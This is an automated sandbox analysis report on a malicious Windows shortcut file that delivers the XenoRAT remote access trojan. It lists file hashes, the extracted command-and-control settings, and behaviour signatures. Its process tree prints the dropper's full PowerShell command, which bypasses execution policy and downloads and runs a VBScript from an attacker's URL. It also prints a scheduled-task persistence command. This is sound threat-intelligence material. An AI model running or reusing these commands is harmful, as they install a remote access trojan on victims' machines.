Overview

overview

10

Static

static

1

TRANSFEREN...ES.lnk

windows7-x64

10

TRANSFEREN...ES.lnk

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-12-2024 05:45

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General

  • Target

    TRANSFERENCIA COMPROBANTES.lnk

  • Size

    2KB

  • MD5

    17af012abc0e526f7d02932f5a39d9db

  • SHA1

    5df75915751923ef2ec5226e129b5107ec5ee56a

  • SHA256

    ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362

  • SHA512

    af0fd0d4be8f3db60f122e37d1fe34ff0aeb066205b83aa13c128d0c3c4828651dee9774c9ef0413ae8f3eb65fa62f54054f830ee4aae33a07206086859a5c83

Score
10/10
xenoratdiscoveryexecutionmacromacro_on_actionrattrojan

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Extracted

Family

xenorat

C2

dns.stipamana.com

Mutex

Xeno_rat_nd8912d

Attributes
  • delay

    12000

  • install_path

    appdata

  • port

    4567

  • startup_name

    mrec

Signatures

  • Detect XenoRat Payload 1 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

    trojanratxenorat
  • Xenorat family
    xenorat
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

    macromacro_on_action
  • Suspicious Office macro 1 IoCs

    Office document equipped with macros.

    macro
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIA COMPROBANTES.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass jqbinrdfgfdhozhdfboopntjfmdjtgfd -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3288
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"
        3⤵
        • Blocklisted process makes network request
        PID:64
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4380
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1224
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2308
        • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
          "C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2820
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4800
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:632
          • C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3744
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1852
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3224
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF405.tmp" /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:5016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GFKMTE.exe.log
    Filesize

    706B

    MD5

    d95c58e609838928f0f49837cab7dfd2

    SHA1

    55e7139a1e3899195b92ed8771d1ca2c7d53c916

    SHA256

    0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

    SHA512

    405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\TCDF4AA.tmp\sist02.xsl
    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0gzat23n.o0w.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs
    Filesize

    10KB

    MD5

    087bcef76143b81090deef4ee4679995

    SHA1

    6ebd4fd212d0583157ae03bb0eb5841c53e281fc

    SHA256

    87334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00

    SHA512

    b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\tmpF405.tmp
    Filesize

    1KB

    MD5

    dabe93a03c5560ab1670cf79b8d28566

    SHA1

    69738fe43d4550ece028ff2795a54bbad0985414

    SHA256

    743e8b28a38e98ea27ef07f17b7529976979c7b01eab92586a6cb686c0d1f68d

    SHA512

    15b3b49c46901e00a73def834225df28fd843af1e9ae594c7d061406209f6ce57277673c9c1ae3ed541f989fa499fd3e88929e00ebded6d23301f8d3680a6c57

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\¸¸.doc
    Filesize

    195KB

    MD5

    7ea9da3dd3db6f3fadf04ac76b54434b

    SHA1

    b30b950191046d999e71aaa54fb2648c6655ce9b

    SHA256

    947bce97211371e730a2b8b79c2ec4d154904e8faa7bed2583c5c6c420230170

    SHA512

    f94eb382dedb8c3952dbc0f3b9040201455cec641c845bedf5765a2772aa98cb20d92b3e0edadcd92fd7cdb77e7c6f37d26bdd276cceea733237e28f04240f9d

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe
    Filesize

    173KB

    MD5

    94a7e3859c2e4238421cdfe73d49603c

    SHA1

    03f03c5b5d8cf362aa52b9e793e7be398d779c21

    SHA256

    639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91

    SHA512

    74048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5

    Download Submit

  • memory/1224-101-0x000000000D5A0000-0x000000000D632000-memory.dmp

    Filesize

    584KB

    Download

  • memory/1224-96-0x00000000001F0000-0x0000000000220000-memory.dmp

    Filesize

    192KB

    Download

  • memory/1224-102-0x0000000002410000-0x0000000002416000-memory.dmp

    Filesize

    24KB

    Download

  • memory/1224-100-0x000000000DAB0000-0x000000000E054000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1224-99-0x000000000D460000-0x000000000D4FC000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1224-98-0x0000000004B70000-0x0000000004BA4000-memory.dmp

    Filesize

    208KB

    Download

  • memory/1224-97-0x0000000000C20000-0x0000000000C26000-memory.dmp

    Filesize

    24KB

    Download

  • memory/2308-103-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

    Download

  • memory/2820-122-0x0000000005080000-0x00000000050B4000-memory.dmp

    Filesize

    208KB

    Download

  • memory/3288-14-0x00007FFFF36C0000-0x00007FFFF4181000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3288-2-0x00007FFFF36C3000-0x00007FFFF36C5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3288-21-0x00007FFFF36C0000-0x00007FFFF4181000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3288-13-0x00007FFFF36C0000-0x00007FFFF4181000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3288-12-0x000002576E600000-0x000002576E622000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4380-29-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4380-28-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4380-27-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4380-23-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4380-24-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4380-26-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

    Filesize

    64KB

    Download

  • memory/4380-25-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

    Filesize

    64KB

    Download